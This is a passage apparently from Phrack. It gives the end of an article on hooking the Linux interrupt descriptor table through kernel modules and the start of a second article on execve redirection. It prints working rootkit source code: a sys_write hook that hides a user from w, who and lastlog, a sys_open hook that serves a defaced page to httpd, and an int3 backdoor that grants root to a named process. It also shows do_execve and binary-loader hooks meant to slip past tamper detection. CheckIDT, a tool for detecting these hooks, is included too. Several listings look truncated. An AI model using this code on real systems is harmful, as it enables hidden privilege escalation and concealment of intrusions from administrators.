The asm handler in the same as in 5.3.1

C handler

asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task)
        struct task_struct *my_task= &((struct task_struct *) fd_task) [0];
        char *ptr=(char *) regs->ecx;
        char * buffer,*ptr3;

        if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0||
	    strcmp(my_task->comm,"lastlog")==0 || 
	    ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
                buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
                if(ptr3 != NULL )
                        if (false_string)

- We compare the name of the process with a defined program name and with 
  the name that we will specify in param when we insert our module 
  (progy param).
- We allocate some space for the buffer that will receive the string that 
  is in regs->ecx
- We copy the string that sys_write is going to write from the userland to 
  the kernelland (copy_from_user)
- We search for the string we want to hide in the string that sys_write is 
  going to write.
- If found,we change the string to be hidden with the one wanted in 
  our buffer.
- we copy the false string in the userland (copy_to_user)

In practice :

%gcc -I/usr/src/linux/include -O2 -c hookstub-V0.5.2.c
 12:07am  up 38 min,  2 users,  load average: 0.60, 0.60, 0.48
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
kad      tty1     -                11:32pm 35:15  14:57   0.03s  sh /usr/X11/bin/startx
kad      pts/1    :0.0             11:58pm  8:51   0.08s  0.03s  man setuid
%modinfo hookstub-V0.5.2.o
filename:    hookstub-V0.5.2.o
description: "Hooking of sys_write"
author:      "kad"
parm:        interrupt int, description "Interrupt number"
parm:        hide_string string, description "String to hide"
parm:        false_string string, description "The fake string"
parm:        progy string, description "You can add another program to fake"
%insmod hookstub-V0.5.2.o interrupt=128 hide_string=kad false_string=marcel 
Inserting hook
Hooking finish

 12:07am  up 38 min,  2 users,  load average: 0.63, 0.61, 0.48
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
marcel   tty1     -                11:32pm 35:21  15:01   0.03s  sh /usr
marcel   pts/1    :0.0             11:58pm  8:57   0.08s  0.03s  man setuid

%ps -au
marcel     133  0.0  1.4  2044 1256 pts/0    S    May12   0:00 -bash
root       146  0.0  1.4  2032 1260 pts/0    S    May12   0:00 -su
root       243  0.0  1.6  2612 1444 pts/0    S    00:05   0:00 -sh
root       259  0.0  0.9  2564  836 pts/0    R    00:07   0:00 ps -au

    The string "kad" is hidden. The whole source code is in annexe CODE 3. 
This example is quite simple but could be more interesting. Instead of 
changing "kad" with "marcel", we could change our IP address with
another. And, instead of hooking the output of w, who or lastlog, we could
use klogd...

Complete hooking of sys_write

The complete hooking of sys_write can be useful in some case, like for example 
changing an IP with another. But if you change a string completely, 
you won't be hidden long. If you change a string with another, it's the whole 
system that will be changed. Even a simple cat will be influenced :

%insmod hookstub-V0.5.3.o interrupt=128 hide_string="hello!" false_string="bye!  "
Inserting hook
Hooking finish
%echo hello!

The C handler for this example is the same as the previous one without the 
if condition. Beware, this could slow down your system a lot.

----[ 5.4 - Hooking for fun

This example is only "for fun" :), don't misuse it. You could turn an admin 
mad... Thanks to Spacewalker for the idea (Hi Space ! :). The idea is to hook 
the syscall sys_open so that it opens another file instead of a defined file, 
but only if it is a defined "entity" that opens the file. This entity will be 
httpd here...


EAX : 5
EBX : ptr to pathname
ECX : file access
EDX : file permissions

The asm handler is always the same as the previous ones.

C handler :

asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task)
        struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];
    if(strcmp(my_task->comm,"httpd") == 0)
        if(strcmp((char *)regs->ebx,"/var/www/htdocs/")==0)
            copy_to_user((char *)regs->ebx,"/tmp/hacked",
	    strlen((char *) regs->ebx));

    We hook sys_open, if httpd call sys_open and tries to open index.html,
then we change index.html with another page we've chosen. We can also use
MODULE_PARM to more easily change the page. If someone opens the file with
a classic editor, he will see the true index.html!

    Hooking a syscall is very easy with this technique. Moreover, few
modifications are to be done for hooking this or that syscall. The only
thing to change is the C handler. We could however play with the asm
handler, for example to invert 2 syscalls. We would only have to compare
the value of eax and to change it with the number of a defined syscall. 
For an admin, we could hook the "hot" syscalls and warn with a message as
soon as the syscall is called. We would be warned of the modifications on
the syscall_table.

--[ 6 - CHECKIDT

    CheckIDT is a little program that I have written that allow to "play"
with the IDT from the userland. i.e. without using a lkm, thanks to the
technique of sd and devik in Phrack 58 on /dev/kmem. All along my tests, 
I had to face many kernel crashes and it was not dead but I couldn't 
remove the lkm. I had to reboot to change the value of the IDT. CheckIDT
allow to change the value of the IDT without the use of a lkm. CheckIDT is
here to help you coding your lkms and prevent you from rebooting all the
time. On the other hand, this software can warn you of modifications of the
IDT and so be useful for admins. It can restore the IDT state in tripwire
style. It saves each descriptor of the IDT in a file, then it compares the
descriptors with the saved values and put the IDT back if there were

Some examples of use :

CheckIDT V 1.1 by kad
Option :
       -a nb    show all info about one interrupt
       -A       show all info about all interrupt
       -I       show IDT address
       -c       create file archive
       -r       read file archive
       -o file  output filename (for creating file archive)
       -C       compare save idt & new idt
       -R       restore IDT
       -i file  input filename to compare or read
       -s       resolve symbol thanks to /boot/
       -S file  specify a map file

%./checkidt -a 3 -s

Int *** Stub Address *** Segment *** DPL *** Type             Handler Name
3       0xc0109370       KERNEL_CS   3       System gate      int3

Thanks for choose kad's products :-)

We can obtain information on an interrupt descriptor.
"-A" allow to obtain information on all interrupts.

%./checkidt -c

Creating file archive idt done

Thanks for choosing kad's products :-)
%insmod hookstub-V0.3.2.o interrupt=3
Inserting hook
Hooking finished
%./checkidt -C

Hey stub address of interrupt 3 has changed!!!
Old Value : 0xc0109370
New Value : 0xc583e064

Thanks for choosing kad's products :-)
%./checkidt -R

Restore old stub address of interrupt 3

Thanks for choosing kad's products :-)
%./checkidt -C

All values are same

Thanks for choosing kad's products :-)
Module                  Size  Used by
hookstub-V0.3.2          928   0  (unused)

So CheckIDT has restored the values of the IDT as they were before 
inserting the module. However, the module is still here but has no effect. 
As in tripwire, I advice you to put the IDT save file in a read only area, 
otherwise someone could be compromised.

rem : if the module is well hidden, you will also be warned of the modifications 
of IDT.

The whole source code is in annexe CODE 4.


    Many docs on asm inline

    linux device drivers

    detailed syscalls list

    Mammon site, thanks mammon ;)

    o'reilly book , great book :)

    Linux Kernel 2.4 Internals

[7] Sources of 2.2.19 and 2.4.17 kernel

    good info about how bottom half work



- Special greetz to freya, django and neuro for helping me to translate
  this text in English. Greetz again to skyper for his advice, thks a lot
  man! :)
- Thanks to Wax for his invaluable advise on asm (don't smoke to much dude !)
- Big greetz to mayhem, insulted, ptah and sauron for testing the codes 
  and verifying the text.
- Greetz to #frogs people, #thebhz people, #gandalf people, #fr people, all 
  those who were at the RtC.Party, nywass, the polos :) and all those I

--[ 8 - Appendix

CODE 1: 

/* hooking interrupt 3 . Idea by mammon  */
/* with kad modification        	 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/init.h>
#include <linux/malloc.h>

#define error_code 0xc01092d0 //error code in my
#define do_int3    0xc010977c //do_int3 in my

asmlinkage void my_handler(struct pt_regs * regs,long err_code);

unsigned long ptr_idt_table;
unsigned long ptr_gdt_table;
unsigned long old_stub;
unsigned long old_handler=do_int3;
extern asmlinkage void my_stub();
unsigned long ptr_error_code=error_code;
unsigned long ptr_handler=(unsigned long)&my_handler;

struct descriptor_idt
        unsigned short offset_low,seg_selector;
        unsigned char reserved,flag;
        unsigned short offset_high;

void stub_kad(void)
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
        "pushl $0                       \n"
        "pushl ptr_handler(,1)          \n"
        "jmp *ptr_error_code             "

asmlinkage void my_handler(struct pt_regs * regs,long err_code)
        void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler;
        printk("<1>Wowowo hijacking de l'int 3 \n");

unsigned long get_addr_idt (void)
         unsigned char idtr[6];
         unsigned long idt;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        idt = *((unsigned long *) &idtr[2]);

void * get_stub_from_idt (int n)
        struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
        return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));

void hook_stub(int n,void *new_stub,unsigned long *old_stub)
         unsigned long new_addr=(unsigned long)new_stub;
         struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
         //save old stub
                *old_stub=(unsigned long)get_stub_from_idt(3);
         //assign new stub
         idt[n].offset_high = (unsigned short) (new_addr >> 16);
         idt[n].offset_low  = (unsigned short) (new_addr & 0x0000FFFF);

int init_module(void)
        return 0;

void cleanup_module()
         hook_stub(3,(char *)old_stub,NULL);



/* IDT int3 backdoor. Give root right to the process
/* Coded by kad

#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/init.h>
#ifndef KERNEL2
#include <linux/slab.h>
#include <linux/malloc.h>

asmlinkage void my_function(unsigned long);
MODULE_DESCRIPTION("Hooking of int3 , give root right to process");
MODULE_PARM_DESC(interrupt,"Interrupt number");
unsigned long ptr_idt_table;
unsigned long old_stub;
extern asmlinkage void my_stub();
unsigned long hostile_code=(unsigned long)&my_function;
int interrupt;

struct descriptor_idt
        unsigned short offset_low,seg_selector;
        unsigned char reserved,flag;
        unsigned short offset_high;

void stub_kad(void)
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
        "       pushl %%ebx             \n"
        "       movl %%esp,%%ebx        \n"
        "       andl $-8192,%%ebx       \n"
        "       pushl %%ebx             \n"
        "       call *%0                \n"
        "       addl $4,%%esp           \n"
        "       popl %%ebx              \n"
        "       jmp  *%1                \n"

asmlinkage void my_function(unsigned long addr_task)
        struct task_struct *p = &((struct task_struct *) addr_task)[0]; 
	if(strcmp(p->comm,"give_me_root")==0 )
   		#ifdef DEBUG             
			printk("UID : %i GID : %i SUID : %i\n",p->uid,
  		#ifdef DEBUG 		
			printk("UID : %i GID  %i SUID : %i\n",p->uid,p->gid,p->suid);
                #ifdef DEBUG
                        printk("<1>Interrupt %i hijack \n",interrupt);

unsigned long get_addr_idt (void)
         unsigned char idtr[6];
         unsigned long idt;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        idt = *((unsigned long *) &idtr[2]);

unsigned short get_size_idt(void)
        unsigned idtr[6];
        unsigned short size;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        size=*((unsigned short *) &idtr[0]);

void * get_stub_from_idt (int n)
        struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
        return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));

void hook_stub(int n,void *new_stub,unsigned long *old_stub)
         unsigned long new_addr=(unsigned long)new_stub;
         struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
         //save old stub
                *old_stub=(unsigned long)get_stub_from_idt(n);
         #ifdef DEBUG
                printk("Hook : new stub addresse not splited : 0x%.8x\n",new_addr);
         //assign new stub
         idt[n].offset_high = (unsigned short) (new_addr >> 16);
         idt[n].offset_low  = (unsigned short) (new_addr & 0x0000FFFF);
         #ifdef DEBUG
                printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high);
                printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low);

int write_console (char *str)
         struct tty_struct *my_tty;
         if((my_tty=current->tty) != NULL)
                (*(my_tty->driver).write) (my_tty,0,str,strlen(str));
                return 0;
         else return -1;

static int __init kad_init(void)
        int x;
        write_console("Inserting hook \r\n");
	#ifdef DEBUG
                printk("Set hooking on interrupt %i\n",interrupt);
        write_console("Hooking finished \r\n");
        return 0;

static void kad_exit(void)
        write_console("Removing hook\r\n");
        hook_stub(interrupt,(char *)old_stub,NULL);




/* Hooking of sys_write for w,who and lastlog. 
/* You can add an another program when you insmod the module
/* By kad

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/init.h>
#ifndef KERNEL2
#include <linux/slab.h>
#include <linux/malloc.h>
#include <linux/interrupt.h>
#include <linux/compatmac.h>

#define sys_number 4
#define HIDE_STRING "localhost"
#define FALSE_STRING "somewhere"
#define PROG "w"

asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task);
MODULE_DESCRIPTION("Hooking of sys_write");
MODULE_PARM_DESC(interrupt,"Interrupt number");
MODULE_PARM_DESC(hide_string,"String to hide");
MODULE_PARM_DESC(false_string,"The fake string");
MODULE_PARM_DESC(progy,"You can add another program to fake");
unsigned long ptr_idt_table;
unsigned long old_stub;
extern asmlinkage void my_stub();
unsigned long hostile_code=(unsigned long)&my_function;
int interrupt;
char *hide_string;
char *false_string;
char *progy;

struct descriptor_idt
        unsigned short offset_low,seg_selector;
        unsigned char reserved,flag;
        unsigned short offset_high;

void stub_kad(void)
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
                //save the register value
                "       pushl %%ds                      \n"
                "       pushl %%eax                     \n"
                "       pushl %%ebp                     \n"
                "       pushl %%edi                     \n"
                "       pushl %%esi                     \n"
                "       pushl %%edx                     \n"
                "       pushl %%ecx                     \n"
                "       pushl %%ebx                     \n"
                //compare it's the good syscall
                "       xor %%ebx,%%ebx                 \n"
                "       movl %2,%%ebx	                \n"
                "       cmpl %%eax,%%ebx                \n"
                "       jne finis                       \n"
                //if it's the good syscall , continue :)
                "       mov %%esp,%%edx                 \n"
                "       mov %%esp,%%eax                 \n"
                "       andl $-8192,%%eax               \n"
                "       pushl %%eax                     \n"
                "       push %%edx          		\n"
                "       call *%0                        \n"
                "       addl $8,%%esp                   \n"
                "finis:                                 \n"
                //restore register
                "       popl %%ebx    		        \n"
                "       popl %%ecx        		\n"
                "       popl %%edx          		\n"
                "       popl %%esi           		\n"
                "       popl %%edi             	  	\n"
                "       popl %%ebp              	\n"
                "       popl %%eax              	\n"
                "       popl %%ds               	\n"
                "       jmp  *%1                	\n"

asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task)
        struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];
        char *ptr=(char *) regs->ecx;
        char * buffer,*ptr3;

        if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0 
	|| strcmp(my_task->comm,"lastlog")==0 							
	|| ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
                buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
                if(ptr3 != NULL )
                        if (false_string)

unsigned long get_addr_idt (void)
         unsigned char idtr[6];
         unsigned long idt;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        idt = *((unsigned long *) &idtr[2]);

void * get_stub_from_idt (int n)
        struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
        return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));

void hook_stub(int n,void *new_stub,unsigned long *old_stub)
         unsigned long new_addr=(unsigned long)new_stub;
         struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
         //save old stub
                *old_stub=(unsigned long)get_stub_from_idt(n);
         #ifdef DEBUG
                printk("Hook : new stub addresse not splited : 0x%.8x\n",
         //assign new stub
         idt[n].offset_high = (unsigned short) (new_addr >> 16);
         idt[n].offset_low  = (unsigned short) (new_addr & 0x0000FFFF);
         #ifdef DEBUG
                printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high);
                printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low);

int write_console (char *str)
         struct tty_struct *my_tty;
         if((my_tty=current->tty) != NULL)
                (*(my_tty->driver).write) (my_tty,0,str,strlen(str));
                return 0;
         else return -1;

static int __init kad_init(void)
        write_console("Inserting hook \r\n");
        #ifdef DEBUG
                printk("Set hooking on interrupt %i\n",interrupt);
        write_console("Hooking finish \r\n");
        return 0;

static void kad_exit(void)
        write_console("Removing hook\r\n");
        hook_stub(interrupt,(char *)old_stub,NULL);



<++> checkidt/Makefile
all: checkidt.c
	gcc -Wall -o checkidt checkidt.c

<++> checkidt/checkidt.c
 * CheckIDT V1.1
 * Play with IDT from userland
 * It's a tripwire kind for IDT
 * kad 2002
 * gcc -Wall -o checkidt checkidt.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <asm/segment.h>
#include <string.h>

#define NORMAL          "\033[0m"
#define NOIR            "\033[30m"
#define ROUGE           "\033[31m"
#define VERT            "\033[32m"
#define JAUNE           "\033[33m"
#define BLEU            "\033[34m"
#define MAUVE           "\033[35m"
#define BLEU_CLAIR      "\033[36m"
#define SYSTEM          "System gate"
#define INTERRUPT       "Interrupt gate"
#define TRAP            "Trap gate"
#define DEFAULT_FILE    "Safe_idt"
#define DEFAULT_MAP		"/boot/"

int fd_kmem;
unsigned long ptr_idt;

struct descriptor_idt
        unsigned short offset_low,seg_selector;
        unsigned char reserved,flag;
        unsigned short offset_high;

struct Mode
         int show_idt_addr;
         int show_all_info;
         int read_file_archive;
         int create_file_archive;
         char out_filename[20];
         int compare_idt;
         int restore_idt;
         char in_filename[20];
         int show_all_descriptor;
	 int resolve;
	 char map_filename[40];   

unsigned long get_addr_idt (void)
         unsigned char idtr[6];
         unsigned long idt;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        idt = *((unsigned long *) &idtr[2]);

unsigned short get_size_idt(void)
        unsigned idtr[6];
        unsigned short size;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        size=*((unsigned short *) &idtr[0]);

char * get_segment(unsigned short selecteur)
         if(selecteur == __KERNEL_CS)
         if(selecteur == __KERNEL_DS)
         if(selecteur == __USER_CS)
         if(selecteur == __USER_DS)

void readkmem(void *m,unsigned off,int size)
        if(lseek(fd_kmem,off,SEEK_SET) != off)
                fprintf(stderr,"Error lseek. Are you root? \n");
        if(read(fd_kmem,m,size)!= size)
                fprintf(stderr,"Error read kmem\n");

void writekmem(void *m,unsigned off,int size)
        if(lseek(fd_kmem,off,SEEK_SET) != off)
                fprintf(stderr,"Error lseek. Are you root? \n");
        if(write(fd_kmem,m,size)!= size)
                fprintf(stderr,"Error read kmem\n");

void resolv(char *file,unsigned long stub_addr,char *name)
	FILE *fd;
	char buf[100],addr[30];
	int ptr,ptr_begin,ptr_end;
	snprintf(addr,30,"%x",(char *)stub_addr);
		fprintf(stderr,"Can't open map file. You can specify a map file -S option or change #define in source\n");
 	while(fgets(buf,100,fd) != NULL)
			ptr_begin=strstr(buf," ");
			ptr_begin=strstr(ptr_begin+1," ");
	if(strlen(name)==0)strcpy(name,ROUGE"can't resolve"NORMAL); 

void show_all_info(int interrupt,int all_descriptor,char *file,int resolve)
        struct descriptor_idt *descriptor;
        unsigned long stub_addr;
        unsigned short selecteur;
        char type[15];
        char segment[15];
	char name[30];
        int x;
        int dpl;
        descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
        printf("Int *** Stub Address *** Segment *** DPL *** Type ");
	if(resolve >= 0) 
		printf("            Handler Name\n");
        if(interrupt >= 0)
                readkmem(descriptor,ptr_idt+8*interrupt,sizeof(struct descriptor_idt));
                stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low;
                selecteur=(unsigned short) descriptor->seg_selector;
                if(descriptor->flag & 64) dpl=3;
                else dpl = 0;
                if(descriptor->flag & 1)
                        else strncpy(type,TRAP,sizeof(TRAP));
                else strncpy(type,INTERRUPT,sizeof(INTERRUPT));
		if(resolve >= 0) 
			printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",interrupt,stub_addr,segment,dpl,type,name);
			printf("%-7i 0x%-14.8x %-12s %-7i%s\n",interrupt,stub_addr,segment,dpl,type);
        if(all_descriptor >= 0 )
                for (x=0;x<(get_size_idt()+1)/8;x++)
                        readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
                        stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low;
                        if(stub_addr != 0)
                                selecteur=(unsigned short) descriptor->seg_selector;
                                if(descriptor->flag & 64) dpl=3;
                                else dpl = 0;
                                if(descriptor->flag & 1)
                                        else strncpy(type,TRAP,sizeof(TRAP));
                                else strncpy(type,INTERRUPT,sizeof(INTERRUPT));
						if(resolve >= 0) 
							printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",x,stub_addr,segment,dpl,type,name);
	                            printf("%-7i 0x%-14.8x %-12s %-7i%s\n",x,stub_addr,segment,dpl,type);

void create_archive(char *file)
         FILE *file_idt;
         struct descriptor_idt *descriptor;
         int x;
         descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
                fprintf(stderr,"Error while opening file\n");
                readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
                fwrite(descriptor,sizeof(struct descriptor_idt),1,file_idt);
         fprintf(stderr,"Creating file archive idt done \n");

void read_archive(char *file)
         FILE *file_idt;
         int x;
         struct descriptor_idt *descriptor;
         unsigned long stub_addr;
         descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
                fprintf(stderr,"Error, check if the file exist\n");
                fread(descriptor,sizeof(struct descriptor_idt),1,file_idt);
                stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low;
                printf("Interruption : %i  -- Stub addresse : 0x%.8x\n",x,stub_addr);

void compare_idt(char *file,int restore_idt)
        FILE *file_idt;
        int x,change=0;
        int result;
        struct descriptor_idt *save_descriptor,*actual_descriptor;
        unsigned long save_stub_addr,actual_stub_addr;
        unsigned short *offset;
        save_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
        actual_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
                fread(save_descriptor,sizeof(struct descriptor_idt),1,file_idt);
                save_stub_addr=(unsigned long)(save_descriptor->offset_high << 16) + save_descriptor->offset_low;
                readkmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
                actual_stub_addr=(unsigned long)(actual_descriptor->offset_high << 16) + actual_descriptor->offset_low;
                if(actual_stub_addr != save_stub_addr)
                         if(restore_idt < 1)
                                fprintf(stderr,VERT"Hey stub address of interrupt %i has changed!!!\n"NORMAL,x);
                                fprintf(stderr,"Old Value : 0x%.8x\n",save_stub_addr);
                                fprintf(stderr,"New Value : 0x%.8x\n",actual_stub_addr);
                                fprintf(stderr,VERT"Restore old stub address of interrupt %i\n"NORMAL,x);
                                actual_descriptor->offset_high = (unsigned short) (save_stub_addr >> 16);
                                actual_descriptor->offset_low  = (unsigned short) (save_stub_addr & 0x0000FFFF);
                                writekmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
                fprintf(stderr,VERT"All values are same\n"NORMAL);

void initialize_value(struct Mode *mode)

void usage()
        fprintf(stderr,"CheckIDT V 1.1 by kad\n");
        fprintf(stderr,"Option : \n");
        fprintf(stderr,"       -a nb    show all info about one interrupt\n");
        fprintf(stderr,"       -A       showw all info about all interrupt\n");
        fprintf(stderr,"       -I       show IDT address \n");
        fprintf(stderr,"       -c       create file archive\n");
        fprintf(stderr,"       -r       read file archive\n");
        fprintf(stderr,"       -o file  output filename (for creating file archive)\n");
        fprintf(stderr,"       -C       compare save idt & new idt\n");
        fprintf(stderr,"       -R       restore IDT\n");
        fprintf(stderr,"       -i file  input filename to compare or read\n");
	fprintf(stderr,"       -s 		resolve symbol thanks to /boot/\n");
	fprintf(stderr,"       -S file	specify a map file\n\n"); 

int main(int argc, char ** argv)
        int option;
        struct Mode *mode;
        if (argc < 2)

        mode=(struct Mode *) malloc(sizeof(struct Mode));

                        case 'h': usage();
                        case 'I': mode->show_idt_addr=1;
                        case 'a': mode->show_all_info=atoi(optarg);
                        case 'A': mode->show_all_descriptor=1;
                        case 'c': mode->create_file_archive=1;
                        case 'r': mode->read_file_archive=1;
                        case 'R': mode->restore_idt=1;
                        case 'o': bzero(mode->out_filename,sizeof(mode->out_filename));
                                  if(strlen(optarg) > 20)
                                         fprintf(stderr,"Filename too long\n");
                        case 'C': mode->compare_idt=1;
                        case 'i': bzero(mode->in_filename,sizeof(mode->in_filename));
                                  if(strlen(optarg) > 20)
                                        fprintf(stderr,"Filename too long\n");
				case 's': mode->resolve=1;
				case 'S': bzero(mode->map_filename,sizeof(mode->map_filename));
						  if(strlen(optarg) > 40)
								fprintf(stderr,"Filename too long\n");
        if(mode->show_idt_addr >= 0)
                 fprintf(stdout,"Addresse IDT : 0x%x\n",ptr_idt);
        if(mode->show_all_info >= 0 || mode->show_all_descriptor >= 0)
        if(mode->create_file_archive >= 0)
        if(mode->read_file_archive >= 0)
        if(mode->compare_idt >= 0)
        if(mode->restore_idt >= 0)
        printf(JAUNE"\nThanks for choosing kad's products :-)\n"NORMAL);

        return 0;


|=[ EOF ]=---------------------------------------------------------------=|


                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x05 of 0x12

|=---=[ 5 Short Stories about execve (Advances in Kernel Hacking II) ]=--=|
|=-----------------=[ palmers <> ]=-----------------=|

--[ Contents

  1 - Introduction

  2 - Execution Redirection

  3 - Short Stories
    3.1 - The Classic
    3.2 - The Obvious
    3.3 - The Waiter
    3.4 - The Nexus
    3.5 - The Lord

  4 - Conclusion

  5 - Reference

  Appendix A: stories.tgz.uu

  Appendix B: fluc.c.gz.uu

--[ 1 - Introduction

  "Oedipus: What is the rite of purification? How shall it be done?
Creon: By banishing a man, or expiation of blood by blood ..."
		- Sophocles, Oedipus the King

  What once was said cannot be banished. Expiation of the wrongs that
inspire peoples thinking and opinion may change.

  I concern again on kernel hacking, not on literature. Especially in this
field many, many ideas need to be expiated as useless. That does not mean
they do not allow to solve particular problems. It means the problems which
can be solved are not those which were aimed to be solved.

--[ 2 - Execution Redirection

  If a binary is requested to be executed, you are redirecting execution
when you execute another binary. The user will stay unnotified of the
change. Some kernel modules implement this feature as it can be used to
replace a file but only when executed. The real binary will remain

  Since no file is modified, tamper detection systems as [1] or [2] cannot
percept such a backdoor. On the other hand, execution redirection is used
in honeypot scenarios to fool attackers.

  Even after years of active kernel development, the loadable kernel
modules (lkm) implementing execution redirection use merely the same
technique. As this makes it easy for some admins to percept a backdoor
faster, others still are not aware of the danger. However, the real danger
was not yet presented.

--[ 3 - Short Stories

  I will show five different approaches how execution can be redirected.
Appendix A contains working example code to illustrate them. The examples
do work but are not really capable to be used in the wild. You get the

  In order to understand the sourcecodes provided it is helpful to read [4]
or [5].

  The example code just show how this techniques can be used in a lkm.
Further, I implemented them only for Linux. These techniques are not
limited to Linux. With minor (and in a few cases major) modifications most
can be ported to any UNIX. 

--[ 3.1 - The Classic

  Only for completeness, the classic. Redirection is achieved by replacing
the system call handling execution. See classic.c from appendix A. There is
nothing much to say about this one; it is used by [3] and explained in [6].
It might be detected by checking the address pointed to in the system call

--[ 3.2 - The Obvious

  Since the system call is architecture dependent, there is a underlying
layer handling the execution. The kernel sourcecode represents it in
do_execve (~/fs/exec.c). The execve system call can be understood as a
wrapper to do_execve. We will replace do_execve:

	n_do_execve (char *file, char **arvp, char **envp, \
				struct pt_regs *regs)
	if (!strcmp (file, O_REDIR_PATH)) {
		file = strdup (N_REDIR_PATH);

	restore_do_execve ();
	ret = do_execve (file, arvp, envp, regs);
	redirect_do_execve ();

  To actually redirect the execution we replace do_execve and replace the
filename on demand. It is obviously the same approach as wrapping the
execve system call. For a implementation see obvious.c in appendix A. No
lkm using this technique is known to me.

  Detecting this one is not as easy as detecting the classic and depends on
the technique used to replace it. (Checking for a jump instruction right at
function begin is certainly a good idea).

--[ 3.3 - The Waiter

  Upon execution, the binary has to be opened for reading. The kernel gives
a dedicated function for this task, open_exec. It will open the binary file
and do some sanity checks.

  As open_exec needs the complete path to the binary to open it this is
again easy going. We just replace the filename on demand and call the
original function. open_exec is called from within do_execve.

  To the waiter the same applies as to the obvious. Detection is possible
but not trivial.

--[ 3.4 - The Nexus

  After the binary file is opened, its ready to be read, right? Before it
is done, the according binary format handler is searched. The handler
processes the binary. Normally, this ends in the start of a new process.

  A binary format handler is defined as following (see ~/include/linux/

	 * This structure defines the functions that are
	 * used to load the binary formats that linux
	 * accepts.
	struct linux_binfmt {
		struct linux_binfmt * next;
		struct module *module;
		int (*load_binary)(struct linux_binprm *, \
				struct pt_regs * regs);
		int (*load_shlib)(struct file *);
		int (*core_dump)(long signr, struct pt_regs * regs, \
				struct file * file);
		unsigned long min_coredump;	/* minimal dump size */

  Binary format handlers provide three pointers to functions. One for
loading libraries, another for producing core dump files, the third for
loading binaries (pfff ...). We replace this pointer.

  Our new load_binary function looks as follows:

	int new_load_binary (struct linux_binprm *bin, \
				struct pt_regs *regs) {
		int ret;
		if (!strcmp (bin->filename, O_REDIR_PATH)) {
			 * if a binary, subject to redirection, is about
			 * to be executed just close the file
			 * descriptor and open a new file. do not
			 * forget resetup.
			filp_close (bin->file, 0);
			bin->file = open_exec (N_REDIR_PATH);

			prepare_binprm (bin);
			goto out;
		return old_load_binary (bin, regs);

  But how can we get the binary handlers? They are not exported, if not
loaded as module. A possibility is executing and watching a binary of all
available binary formats. Since the task structure inside the kernel
carries a pointer to the handler for its binary it is possible to collect
the pointers. (The handlers form a linked list - it is not really needed to
execute one binary of each type; theoretically at least).

  The reference implementation, nexus.c in appendix A, fetches the first
binary handler it gets its hands on. This is reasonable since virtually all
linux distributors use homogeneous ELF based user land. What is more, it
is very unlikely that the binary format of system binaries change.

  As used by nexus.c, one way of fetching binary handlers. Note that we do
replace a system call but we restore it immediatly after we got our binary
handler. This opens a very small time window where the replaced system call
might be detected (if tried at all). Of course, we could have fetched the
pointer directly in init_module. In other words: the time window is
arbitrary small.

	int n_open (char *file, int flags) {
		int ret = o_open (file, flags);

		 * ... get one. be sure to save (and restore)
		 * the original pointer. having binary hand-
		 * lers pointing to nirvana is no fun.
